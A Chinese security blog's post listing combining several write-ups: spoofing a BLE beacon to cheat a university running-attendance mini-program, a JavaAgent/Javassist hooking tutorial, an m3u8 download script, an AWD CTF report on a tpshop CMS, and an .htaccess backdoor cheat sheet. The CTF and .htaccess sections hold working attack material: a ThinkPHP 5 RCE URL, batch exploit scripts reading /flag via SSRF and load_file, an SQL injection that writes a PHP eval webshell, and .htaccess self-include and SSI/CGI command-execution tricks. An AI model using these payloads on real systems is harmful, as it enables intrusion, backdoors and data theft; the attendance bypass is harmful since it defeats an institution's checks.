Web,安全研究

破解CSU校园跑步

本来是去年6月份的文,拖到现在

preface

技术栈:小程序反编译,JS逆向,蓝牙伪造,抓包,移动端

正常来说,跑步定位有两种方式,一种是GPS定位,一种是基站定位,大部分软件都会采用GPS定位,目前最精确的也是GPS定位,GPS定义可以获取具体的经纬度,当在地图上移动的时候,也能获取到具体的移动路线,而基站定位只能获取大致范围,比如某某公司附近,某某广场旁,无法显示具体移动路线,所以大部分传统跑步定位只需要模拟GPS信号即可

如上,传统校园跑只需模拟GPS信号,内卷的话可以再检测陀螺仪运动,但题主这次碰到的情况是只检测了GPS和蓝牙

背景

由于题主吹牛波一,觉得绕过跑步这种太过简单,早早夸下海口,结果在用fakelocation的时候怎么也绕不过去。

对方用的是跑步小程序,绑定手机号连接到学校后台,然后开始跑步,跑步前要开启小程序蓝牙权限(伏笔)。

开始Bypass

题主用fakelocation模拟步数后,在各个地图app下都可以看到明显的跑步轨迹,围绕校园操场做不是很规则的椭圆运动,但小程序的开始跑步就是点不动(没反应),对方跑到操场去后发现即可点动,怀疑疑似蓝牙相关,聪明的我开始搜索相关关键字:找到下文

中南大学-阳光课外锻炼系统-竞价公告-机电设备采购平台

Untitled

一般这种软件都是通过招标进入的学校,找招标文书看就行了,既然确认了小程序与蓝牙定位相关。联想到我大四的时候学校有人破解了共享单车,原理也是通过小程序的蓝牙包伪造,联系到同学。

同学跟我说这个是蓝牙BLE相关,让我去学一下概念和小程序API

蓝牙低功耗 (Bluetooth Low Energy, BLE) | 微信开放文档

Untitled

如上介绍,蓝牙BLE简单理解也是由一个服务端Server 中心设备和多个客户端client 外围设备组成。

在大部分情况下,一般由一个蓝牙桩在某个地点充当服务端,用户的手机等移动设备充当客户端,像共享单车,本文的跑步定位都是这种。当然服务端和客户端也可以反过来。

现在知道了蓝牙定位的大概原理,我们就需要进行绕过,作为多年安全搬砖工程师,第一反应肯定是伪造绕过,于是我们就需要知道如何伪造蓝牙信号,因为此次跑步端采用小程序实现,小程序本质是本地运行Javascript的,我们可以通过一些反编译手段,获取小程序的源代码,通过对源代码的审计来进行伪造。

小程序在安卓机上的存储地址是

/data/data/com.tencent.mm/MicroMsg/{一串16进制字符}/appbrand/pkg/

由于我的物理机有太多小程序,小程序的文件夹是随机字符串,于是我在安卓模拟器上只运行一次小程序,再通过ADB安卓调试工具将上面的文件夹脱了下来,但即使这样小程序文件夹中也存在多个文件夹,由于不好分辨具体哪个是我的目标小程序我只能全部下载,分别反编译后在判断那个是我的目标。

微信小程序反编译可以用下面这个工具

https://github.com/xuedingmiaojun/wxappUnpacker

使用wxappUnpacker进行反编译,开始进行代码审计

Untitled

Untitled

然后就是正常的Js审计,会小程序开发的会熟悉一些,里面的代码就是正常的小程序目录结构。但由于正常小程序打包会进行一些pack操作导致丢失一部分逻辑链和符号信息。类似webpack,所以审计起来会有一点麻烦。但好在此系统主题逻辑代码并没有丢失太多。所以审计起来不太费力。

小程序在使用的时候要点击 蓝牙功能,我们根据微信小程序api找到对应函数

Untitled

所以全局搜索startBluetoothDevicesDiscovery,定位到函数调用点

Untitled

根据实际情况,我们无法开始跑步,所以我们的目的是找到开始跑步的函数,即入口点。

根据api,小程序开始扫描蓝牙设备后需要通过onBluetoothDeviceFound 监听函数进行事件处理,此函数的返回值包含了扫描到的蓝牙设备。继续搜索

Untitled

onBluetoothDeviceFound: function() {
        var a = this;
        wx.getBluetoothDevices({
            success: function(e) {
                for (var n = 0; n < e.devices.length; n++) {
                    var o = 0;
                    if ("xBeacon" == e.devices[n].localName || "xBeacon" == e.devices[n].name) {
                        if (null != e.devices[n].serviceData && void 0 != e.devices[n].serviceData && e.devices[n].serviceData.hasOwnProperty("00001529-0000-1000-8000-00805F9B34FB")) for (var i = 0; i < a.data.deviceList.length; i++) if (a.data.deviceList[i].deviceAddress == t(e.devices[n].serviceData["00001529-0000-1000-8000-00805F9B34FB"])) {
                            a.venueCardRegister(a.data.deviceList[i].deviceId);
                            var r = new Date();
                            a.setData({
                                lastdata: r,
                                gspstatus: 0,
                                yxvalidCount: a.data.yxvalidCount + 1,
                                quyuoff: !0
                            }), wx.setStorageSync("lastdata", a.data.lastdata), wx.setStorageSync("yxvalidCount", a.data.yxvalidCount), 
                            o = 1, wx.stopBluetoothDevicesDiscovery({
                                success: function(a) {
                                    wx.closeBluetoothAdapter({
                                        success: function(a) {
                                            wx.openBluetoothAdapter({
                                                success: function(a) {
                                                    wx.startBluetoothDevicesDiscovery({
                                                        powerLevel: "high",
                                                        success: function(a) {},
                                                        fail: function(a) {}
                                                    });
                                                }
                                            });
                                        }
                                    });
                                }
                            });
                            break;
                        }
                        if (1 == o) break;
                    }
                }
            },

可以看到,这个函数直接对所有扫描的设备进行遍历,判断扫描的设备名字是否含有 xBeacon

如果有,则判断其serviceData是否属性名00001529-0000-1000-8000-00805F9B34FB

现在我们知道了程序的逻辑,但现在有个小问题,我们是通过反向审计找到的功能点,程序内不止一个判断蓝牙设备的函数,我们不能判定这个函数就是开始跑步所判断的函数,我们还需要找到对应的函数入口。

好在进行搜索,程序内所有的蓝牙判断函数都是一样的,我们可以放心的按照上面的模式进行伪造。但如果要找到程序入口,我们可以从前端下手。

小程序里面,需要点击长按开始 开始跑步,全局搜索可以搜到对应小程序前端和点击事件

Untitled

Untitled

根据正常的审计经验,基本可以判断这个函数就是真正的入口判断函数,可以看到,如果没有找到蓝牙设备,会弹出右下获取线路,请前往指定区域 这也符合小程序的逻辑。

Solve

现在我们需要Bypass进行绕过,我当时想到了两个思路

  1. 将小程序的判断逻辑删除进行重打包
  2. 使用frida动态hook绕过判断
  3. 模拟一个符合程序规范的蓝牙BLE设备

第一个思路,微信会对小程序开发者进行签名,重打包绕不过签名校验,只能使用自己的签名重新打包,但是反编译再编译并不是无损的,会有一堆Bug,过程太繁琐,放弃。

第二个思路,当时Frida Hook小程序资料太少,未找到,放弃

于是使用第三个思路,我一开始想用计算机Python来模拟BLE设备,但只能更改电脑的蓝牙名称,无法发送蓝牙广播,更别谈模拟BLE信号。

然后我准备使用魔法打败魔法,自己开发一个测试小程序发送蓝牙BLE,但是用了所有api,只能使得onBluetoothDeviceFound函数获取到advertisData。无法获取到serviceData。

于是请教了下清华的iot大哥xuanxuan

Untitled

Untitled

Untitled

发现一个神器NRF CONNECT,这个软件可以直接模拟蓝牙BLE,甚至可以直接从周围环境copy蓝牙信号,因为我一直在家里闭门造车,如果可以去到学校操场的话,可以直接用这个软件复制模拟操场的蓝牙插桩。

Untitled

Untitled

😠要是早知道这个东西 我还那么努力审什么。

result

拿一个手机开启NRF CONNECT,使用另一个手机点击小程序开始跑步,成功绕过。

放一个结果视频吧
https://v.douyin.com/yFByBFh/

- 阅读全文 -
Web,安全研究,Java

JavaAgent

Javassist基础

简介

可以理解为一个加强版的反射库

不仅可以反射获取各种类 方法 参数,还可以动态修改

原理是通过修改java字节码来实现的

API

Javassist为我们提供了类似于Java反射机制的API,如:CtClassCtConstructorCtMethodCtField与Java反射的ClassConstructorMethodField非常的类似。

Untitled

Javassist使用了内置的标识符来表示一些特定的含义,如:$_表示返回值。我们可以在动态插入类代码的时候使用这些特殊的标识符来表示对应的对象。

Untitled

准备动手

同样 maven项目 quickstart

<dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
</dependency>
<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.26.0-GA</version>
</dependency>
<dependency>
      <groupId>commons-lang</groupId>
      <artifactId>commons-lang</artifactId>
      <version>2.6</version>
</dependency>

我们来实现一个User类,debug方法是为了测试方便,假设真实情况不存在debug方法

package org.example;

import java.util.Random;
import org.apache.commons.lang.RandomStringUtils;
public class User {

    private String secret;
    public String flag;

    public User(){
        this.secret = RandomStringUtils.randomAlphanumeric(32);
        this.flag = "flag{0xevoA}";
    }
    public String getFlag(String input){
        if(input.equals(this.secret)){

            System.out.println(this.flag);
            return this.flag;
        }
        else {
            System.out.println("nnnn");
            return "nnnn";
        }
    }
    public void debug(){
        System.out.println(this.secret);
        System.out.println(this.flag);
    }
}

假设这个类被加载到了内存中,类文件被删除,并且我们不知道flag的值,通过反射直接获取flag,如何通过javassist 修改获取flag呢?

  1. 直接将字节码写入成.class文件然后反编译
@Test
    public void jassist1() throws NotFoundException, IOException, CannotCompileException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass user = classPool.getCtClass("User");
        user.defrost();
        byte[] bytecodes = user.toBytecode();
        FileOutputStream fileOutputStream = new FileOutputStream(new File(System.getProperty("user.dir") + "/src/test/User.class"));
        fileOutputStream.write(bytecodes);
        fileOutputStream.close();
    }

不用多说了8,看看代码就行了,动手敲一下

  1. 直接输出flag变量
@Test
public void jassist2() throws NotFoundException, IOException, CannotCompileException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
    ClassPool classPool = ClassPool.getDefault();
    CtClass cUser = classPool.getCtClass("User");
    cUser.defrost();
    // create method
    CtMethod ctMethod = CtMethod.make("public void cheatEngine(){System.out.println(this.flag);}", cUser);
    cUser.addMethod(ctMethod);
    Object user = cUser.toClass().newInstance();
    Method cheatEngine = user.getClass().getMethod("cheatEngine");
    cheatEngine.invoke(user);

}

新建了一个cheatEngine方法,直接输出this.flag

看代码就行,不说废话

  1. 如果flag是 private static
private String secret;
    private static String flag = "flag{0xeevoA}";

    public User(){
        this.secret = RandomStringUtils.randomAlphanumeric(32);
    }

static,private在这里没什么影响sout(this.flag)照样输出,当然,如果是static的话sout(flag)也可以

  1. 修改getFlag方法,在前面加入一行代码修改input

@Test
    public void jassist3() throws NotFoundException, IOException, CannotCompileException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        {
            ClassPool classPool = ClassPool.getDefault();
            CtClass cUser = classPool.getCtClass("User");
            cUser.defrost();

            CtMethod getFlag = cUser.getDeclaredMethod("getFlag");
            System.out.println(getFlag);
            getFlag.insertBefore("$0.secret=\"123456\";");
            System.out.println();
            Object o = cUser.toClass().newInstance();
            Method getFlag1 = o.getClass().getMethod("getFlag", String.class);
            getFlag1.invoke(o,"123456");
        }

$0 就是 this

具体看上面那个表

参考https://y4er.com/post/javassist-learn/

javaAgent

introduce

javaAgent, 可以理解为java自带的hook模式,有点类似php的so拓展,以及动态连接的LD_PROLOAD

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
  2. 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

我们可以使用JavaAgent实现一些Hook操作

为了生成jar包方便,下面用vscode

public class User {

    private String secret;
    private static String flag = "flag{0xeevoA}";

    public User(){
        this.secret = "secret";
    }
    public String getFlag(String input){
        if(input.equals(this.secret)){

            System.out.println(this.flag);
            return this.flag;
        }
        else {
            System.out.println("nnnn");
            return "nnnn";
        }
    }
    public void debug(){
        System.out.println(this.secret);
        System.out.println(this.flag);
    }

    public static void main(String[] args) {
        User user = new User();
        if(args[0].equals("1")){
            user.debug();
        }
        if(args[0].equals("2")){
            user.getFlag(args[1]);
        }
    }
}

javac User.java 生成User.class

premain

public static void premain(String agentArgs, Instrumentation inst)

premain有两个参数,第一个agentArgs没什么用,主要关注第二个,Instrumentation

是与JVM交互的类,可以动态修改JVM加载的类字节码,结合javassist,我们可以hook所有JVM加载过的类并且为所欲为

声明

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

Instrumentation主要关注三个方法addTransformer getAllLoadedClasses retransformClasses

  1. addTransformer

增加一个transformer(类似php-parse的NodeTraverser)

  1. getAllLoadedClasses

获取所有已经load的类

  1. retransformClasses

新建一个自定义transformer类 Agent.class

输出所有加载过的类

Agent.class

import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        Class[] cs = inst.getAllLoadedClasses(); 
        for(Class c: cs){
            System.out.println(c.getName());
        }
    }
}

新建一个agent.mf

Manifest-Version: 1.0
Premain-Class: Agent
Agent-Class: Agent

运行

javac .\Agent.java 
jar cvfm agent.jar .\Agent.mf .\Agent.class
java -javaagent:agent.jar

即可输出所有load类

然后我们把javassit 和 javaagent连起来,实现

java maven项目(因为要引入javassit)

目录结构

├── pom.xml
├── src
│   ├── main
│   │   ├── java
│   │   │   └── com
│   │   │       ├── Agent.java
│   │   │       └── AgentTransformer.java
│   │   └── resources
│   │       └── META-INF
│   │           └── MANIFEST.MF
│   └── test
│       └── java
│           ├── com
│           │   └── AppTest.java

Agent.java

package com;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{

        ClassFileTransformer transformer = new AgentTransformer();
        inst.addTransformer(transformer);

    }
}

AgentTransformer.java

package com;
import java.lang.instrument.ClassFileTransformer;
import javassist.*;

import java.lang.reflect.Method;
import java.security.ProtectionDomain;

public class AgentTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,ProtectionDomain protectionDomain, byte[] classfileBuffer){

        className = className.replace("/", ".");
        if(className.equals("User")){
            try {
                ClassPool classPool = ClassPool.getDefault();
                CtClass cUser = classPool.get("User");
                cUser.defrost();
                CtMethod ctMethod = CtMethod.make("public void cheatEngine(){System.out.println(this.flag);}", cUser);
                cUser.addMethod(ctMethod);
                Object user = cUser.toClass().newInstance();
                Method cheatEngine = user.getClass().getMethod("cheatEngine");
                cheatEngine.invoke(user);
            } catch (Exception e) {
                //TODO: handle exception
            }
        }
        return new byte[0];
    }

}
Manifest-Version: 1.0
Premain-Class: com.Agent

打包成jar

选择Project Structure -> Artifacts -> JAR -> From modules with dependencies

https://xzfile.aliyuncs.com/media/upload/picture/20210416111859-7c5a3b50-9e62-1.png

默认的配置就行。

https://xzfile.aliyuncs.com/media/upload/picture/20210416111859-7c81b400-9e62-1.png

选择Build -> Build Artifacts -> Build

https://xzfile.aliyuncs.com/media/upload/picture/20210416111900-7cb3a460-9e62-1.png

之后产生out/artifacts/agent_jar/agent.jar

└── out
    └── artifacts
        └── agent_jar
            └── agent.jar

然后运行User.class

java -javaagent:.\artifacts\javaagent_jar\javaagent.jar User 2 password

成功打印出flag,虽然后续报错,但目的已经达到

参考

http://wjlshare.com/archives/1582
https://xz.aliyun.com/t/9450#toc-12
https://zhishihezi.net/

- 阅读全文 -
安全研究,开源安全

M3U8解密流程

Dplayer播放器的m3u8解密脚本

https://github.com/DIYgod/DPlayer

前言

暂时只适合未加密的m3u8文件,加密的以后再写

看看能不能用go写一个 感觉会很棒,把下面都集成一下,顺便练练开发(画饼

  1. 自行下载m3u8文件(看F12 network找
  2. 通过下面脚本获取所有流文件
# pip install aiohttp
# python3.6 以上 支持asyncio
# 在脚本目录下建一个m3u8文件夹
# 默认支持bmp后缀和ts后缀 如是其他后缀下面get_all_url函数第三行bmp或ts改一下
# 最下面将https换成了http 加快下载速度 如果服务端只支持https请删除replace
# 异步比较快 但可能会报错,对已经下载的文件会跳过,报错了退出重新运行,多运行几次到全部下完
import aiohttp
import asyncio
import re
import os
import hashlib

#你下载下来的m3u8文件
filename = "video.m3u8"

#防止文件重名(我就遇到了)
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()

def get_all_url():
    file_content = open(filename).read()
    urls = re.findall(r"http.*?\.(bmp|ts)",file_content,re.S)
    return urls

async def fetch(client,url):
    async with client.get(url) as resp:
        return await resp.read()

async def main(url):
    if os.path.exists(f"./m3u8/{md5(url)}.ts"):
        print("url exist: break")
        return
    async with aiohttp.ClientSession() as client:
        body = await fetch(client,url)
        open("./m3u8/"+md5(url)+'.ts',"wb").write(body)
        print(f"download success: {url}")

loop = asyncio.get_event_loop()
tasks = []

for url in get_all_url():
        # !!!!!!自行观察服务器知否支持http,如果不确定就把下面.replace删了,!!!!
    task = loop.create_task(main(url.replace("https","http")))
    tasks.append(task)

#可能报错,报错了就重新运行,直到不下载新的文件
loop.run_until_complete(asyncio.wait(tasks))

Untitled

  1. 合并

网上说ffmpeg可以合并 我命令一直报错(淦

ffmpeg -allowed_extensions ALL -i hls-720p.m3u8 -c copy new.mp4

哦对我这个脚本因为可能文件名会重复md5了一下,需要把m3u8得内容换成md5文件名重新写入才行

脚本如下

同样记得看情况改下面的 bmp

import re
import os
import hashlib

filename = "video.m3u8"
new_filename = "new.m3u8"
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()

file_content = open(filename).read()

with open(new_filename,"wb") as txt:
    for i in file_content.split("\n"):
        print(i)
        if re.search("http.*?\.(bmp|ts)",i,re.S):
            i = md5(i)+".ts"
            txt.write(i.encode("utf-8")+b"\n")
        else:
            txt.write(i.encode("utf-8")+b"\n")

然后合并所有文件,我直接用的python合并 3.1G的视频我本地跑了快20分钟,如果有开发大佬可以优化一下

注意下面 url=url.replace("https","http")

import hashlib
import re

filname = "video.m3u8"
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()

def get_all_url():
    file_content = open(filename).read()
    urls = re.findall(r"http.*?\.(bmp|ts)",file_content,re.S)
    return urls

urls = get_all_url()
filenames = []
for url in urls:
#!!!!!!!!!!!!!!!!看情况删~之前md5存的时候有没有https!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    url=url.replace("https","http")
    filenames.append(md5(url)+".ts")

big_buffer = b""

i = 1
for filename in filenames:
    print(f"now is {str(i)}| all is {str(num)} ")
    i+=1
    big_buffer += open("m3u8/"+filename,"rb").read()

open("./m3u8_lab/new.ts","wb").write(big_buffer)

Untitled

bingo

后缀直接改成mp4也可以播放,不知道是容错还是啥(来个misc选手

对了 file命令不好使file啥都是data(- -

如果后缀是ts,windows自带的播放器可以直接打开(我是win11

如果不是,改成ts或者mp4说不定能直接打开,反正file命令是真不行

- 阅读全文 -
CTF,Web

introduction

有幸参与了祥云杯决赛,由于这次的AWD题目相对比较有意思,特此记录,线下AWD共放出2道Web环境,但由于其中一道不可抗拒的因素,在开始后不久就被主办方下线,所以此文只分析另一道被打了一天的web环境。两道题环境都会提供在文章最下方

第一个洞

首先用自己的AWD框架把源码下到本地,扔到D盾
图片.png
复现vulhub的小伙伴肯定都知道这个CVE-2017-9841,https://vulhub.org/#/environments/phpunit/CVE-2017-9841/

<?php

eval('?>' . file_get_contents('php://input'));

我们可以直接post exp过去即可,这里也是发现得早批量写的快成功拿到比赛一血
图片.png

第二个洞

此CMS为tpshop,但和网上公开的tpshop源码不太相同,既然是tp,肯定是要看看tp rce的漏洞的
全局搜索version 发现版本为5.0.7,疑似存在tp5 rce
图片.png
用网上公开的exp

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag

并不能直接打成功,
图片.png
因为并不存在index模块,我们就无法逃逸正则调用任意方法,我们需要找到一个默认存在的模块
(这里因为对tp5 rce原理不熟卡了好久)
其实首页随便点几个链接或者看源码就可以发现,此cms存在Home Admin等模块
图片.png
图片.png

第三四五个洞

由于cms为mvc,接下来从控制器下手,在home模块的控制器下面找到一个Test.php

<?php
namespace app\home\controller; 
use think\Controller;
use think\Url;
use think\Config;
use think\Page;
use think\Verify;
use think\Db;
use think\Cache;
class Test extends Controller {
    
    public function index(){      
       $mid = 'hello'.date('H:i:s');
       //echo "测试分布式数据库$mid";
       //echo "<br/>";
       //echo $_GET['aaa'];       
         M('config')->master()->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('value');
       //echo M('config')->where("id",1)->value('name');
       /*
       //DB::name('member')->insert(['mid'=>$mid,'name'=>'hello5']);
       $member = DB::name('member')->master()->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
       $member = DB::name('member')->where('mid',$mid)->select();
       echo "<br/>";
       print_r($member);
    */   
//       echo "<br/>";
//       echo DB::name('member')->master()->where('mid','111')->value('name');
//       echo "<br/>";
//       echo DB::name('member')->where('mid','111')->value('name');
         echo C('cache.type');
    }  
    
    public function redis(){
        Cache::clear();
        $cache = ['type'=>'redis','host'=>'192.168.0.201'];        
        Cache::set('cache',$cache);
        $cache = Cache::get('cache');
        print_r($cache);         
        S('aaa','ccccccccccccccccccccccc');
        echo S('aaa');
    }
    public function dlfile($file_url, $save_to) {
            $ch = curl_init();  // 启动一个CURL会话
            curl_setopt($ch, CURLOPT_POST, 0);
            curl_setopt($ch,CURLOPT_URL,$file_url);  // 要访问的地址
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $file_content = curl_exec($ch);  // 执行操作
            curl_close($ch);  // 关键CURL会话   
            $downloaded_file = fopen($save_to, 'w');
            fwrite($downloaded_file, $file_content);
            fclose($downloaded_file);
    }
    
    public function mysql_test($dbname, $dbuser, $dbpass, $dbserver, $dbport, $dbquery) {

        $m = mysqli_init();
        
        $conn = mysqli_real_connect($m, $dbserver, $dbuser, $dbpass, $dbname, intval($dbport));
        $result = mysqli_query($m, $dbquery) or die(mysqli_error($conn));
        $data = mysqli_fetch_all($result, MYSQLI_ASSOC);
        var_dump($data);

        mysqli_close($m);

    }

    public function object_test($input) {
        $a = unserialize($input);
    }

    public function table(){
        $t = Db::query("show tables like '%tp_goods_2017%'");
        print_r($t);
    }
}

这短短的一个文件中藏了3个洞,分别是ssrf导致任意文件读写,mysql远程连接文件读取或者本地任意sql执行,反序列化,太简单了看看exp就行

@round("http://172.20.5.1-30:6022")
def attack7(url):
    try:

        a = hh.http(url+"/index.php/home/test/dlfile?file_url=file:///flag&save_to=/public/js/jquery-1.10.3.min.js")
        a = hh.http(url+"/public/js/jquery-1.10.3.min.js")
        flag =  a[2].strip()
        print "|"+flag+"|"
        submit_flag(flag)
    except Exception as e:
        print e
        pass
@round("http://172.20.5.1-30:6022")
def attack11(url):
    try:

        a = hh.http(url+r"/index.php?m=Home&c=test&a=mysql_test&database=ctf&dbname=ctf&dbuser=user&dbpass=123456&dbserver=localhost&dbport=3306&dbquery=select+load_file('\/flag');")

        flag = a[2].strip()
        flag = re.search(r"flag{.*?}",flag,re.S).group()
        print flag
        submit_flag(flag)
        print url
    except Exception as e:
        print e
        pass

mysql的洞一开始想法是远连读文件,但是发现服务器和选手pc好像不通,于是作罢,后面发现可以连本地直接load_file。。。

反序列化洞由于比赛时候断网找不到exp,也没写,并且由于三个洞在同一个文件,修复的话会直接整个文件删除,所以就没太在意了

第六个洞

<?php    
public function return_goods_list()
    {
        $where = " user_id=$this->user_id ";
        // 搜索订单 根据商品名称 或者 订单编号
        $search_key = trim(I('search_key'));
        if($search_key)
        {
            $where .= " and order_sn=$search_key";
        }
        $count = M('return_goods')->where($where)->count();
        $page = new Page($count,10);
        $list = M('return_goods')->where($where)->order("id desc")->limit("{$page->firstRow},{$page->listRows}")->select();
        $goods_id_arr = get_arr_column($list, 'goods_id');
        if(!empty($goods_id_arr))
            $goodsList = M('goods')->where("goods_id","in", implode(',',$goods_id_arr))->getField('goods_id,goods_name');
        $state = C('REFUND_STATUS');
        $this->assign('state',$state);
        $this->assign('goodsList', $goodsList);
        $this->assign('list', $list);
        $this->assign('page', $page->show());// 赋值分页输出
        return $this->fetch();
    }

很明显的看出来上面第九行将url参数search_key与sql语句进行了拼接,而且环境是debug,一开始想用报错注入
但无论怎么构造都报错1105 Only constant XPATH queries are supported
图片.png

由于时间问题,发现服务器环境可以写文件,就没继续考虑读flag,而是写马利用

?search_key=1)union select '<?php eval($_REQUEST[1])?>' into dumpfile "/var/www/html/runtime/.2.php";%23

第七个洞

fetch函数文件包含

最后一个洞是倒数第二轮抓流量抓到的,并没有挖到
exp类似这样(本地复现方便,当时exp并不是这样)
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=../../../runtime/temp/ma
图片.png

浏览runtime/temp/ma.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<?php phpinfo()?>
</body>
</html>

通过exp的url找到对应method

<?php 
public function header_cart_list()
    {
        $cartLogic = new CartLogic();
        $cartLogic->setUserId($this->user_id);
            $cart_result = $cartLogic->getUserCartList(0);
            if(empty($cart_result['total_price']))
                    $cart_result['total_price'] = Array( 'total_fee' =>0, 'cut_fee' =>0, 'num' => 0);
        
            $this->assign('cartList', $cart_result['cartList']); // 购物车的商品
            $this->assign('cart_total_price', $cart_result['total_price']); // 总计
        $template = I('template','header_cart_list');         
        return $this->fetch($template);         
    }

u1s1我是第一次见tp fetch函数可控导致的文件包含,我只见过assgin可控导致的文件包含
ThinkPHP5漏洞分析之文件包含

在赛后复现的时候,发现fetch参数不仅可以目录穿越,也可以用绝对路径或者相对路径,通过../穿越选择我们想要的模板文件名,

下面是官方对fetch函数的解释
图片.png
有点啰嗦,直接看源码吧。。

<?php   
    public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }

        // 模板不存在 抛出异常

        if (!is_file($template)) {
            
//            if(strstr($template,'pre_sell_list')){
//                header("Content-type: text/html; charset=utf-8");
//                exit('要使用预售功能请联系TPshop官网客服,官网地址 www.tp-shop.cn');
//            }
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);

    }

通过调试发现,上面代码4-7行,如果输入的参数无后缀,则

<?php
$template = MODULE_PATH.$template.".html"

也就是系统会在fetch参数前加上模板的绝对目录,参数后加上.html
如果有后缀,那么就会直接扔进is_file去判断,判断通过后,进入21行语句进行文件包含
我们可以通过上传一句话图片马或者其他文件至服务端,然后通过fetch造成文件包含
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=runtimetemp1.jpg
图片.png

当然这里绝路目录相对目录穿越目录及任意后缀都是可以的

summary

其实比赛漏洞并不难,AWD主要还是选手的反应速度和脚本编写能力,我大部分时候都在上别人车,抓到新洞流量立马写批量反打,发现被中马看看其他环境有没有一样的马上车。以及被种不死马,蠕虫马,递归马等恶心的东西时候写脚本去删马,都耗费了大量的时间,真正留给挖洞的时间并不多。
当然本文章并没有把所有的洞都写完,有很多漏洞赛时并没有挖出,据说还有几个SQL注入,但当时我已经挖了一个就没继续看了,
而且看网上有很多tpshop后台的getshell。。当时比赛连后台都没进(好多人改密码)而且断网连exp都搜不到。。所以就没看了。。有感兴趣的师傅网上搜搜有很多exp和分析。

- 阅读全文 -
o_o ....

.htaccess

rewrite

Options +FollowSymlinks

RewriteEngine on

RewriteRule lol.jpg /flag.txt [NC]

/flag.txt相对于web路径,可以用来绕过路由限制或者当后门

SSI

.htaccess

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes

1.shtml

<pre>
<!--#exec cmd="whoami" -->
</pre>

cgi

.htaccess

Options ExecCGI
SetHandler cgi-script

whoami.cgi(linux)

#!/bin/sh
whoami

calc.cgi(windows)

#!C:\Windows\System32\calc.exe
1

ErrorHandlerfile

同样相对web根目录, 也可以设为动态文件,比如shell.php,用来当后门

ErrorDocument 404 /flag    

handler

设置解析规则

<Files index.html>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>


自包含

访问任意php文件即可

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_REQUEST['evoA'])?>

配置权限

<Files ~ "^flag.txt$">
Order deny,allow
Allow from all
</Files>
# 允许可被访问

<Files ~ "^flag.txt$">
Order allow,deny
Deny from all
</Files>
# 不可被访问

php引擎

#开启php解析
php_flag engine On
#或
php_flag engine 1

#关闭php解析
php_flag engine Off
#或
php_flag engine 0

# 貌似不能覆盖apache2.conf中 Directory指令设置的engine

不允许在.htaccess文件中出现的指令(部分)

Alias

<Directory >
</Directory>

QQ图片20201116213537.png

- 阅读全文 -
This is just a placeholder img.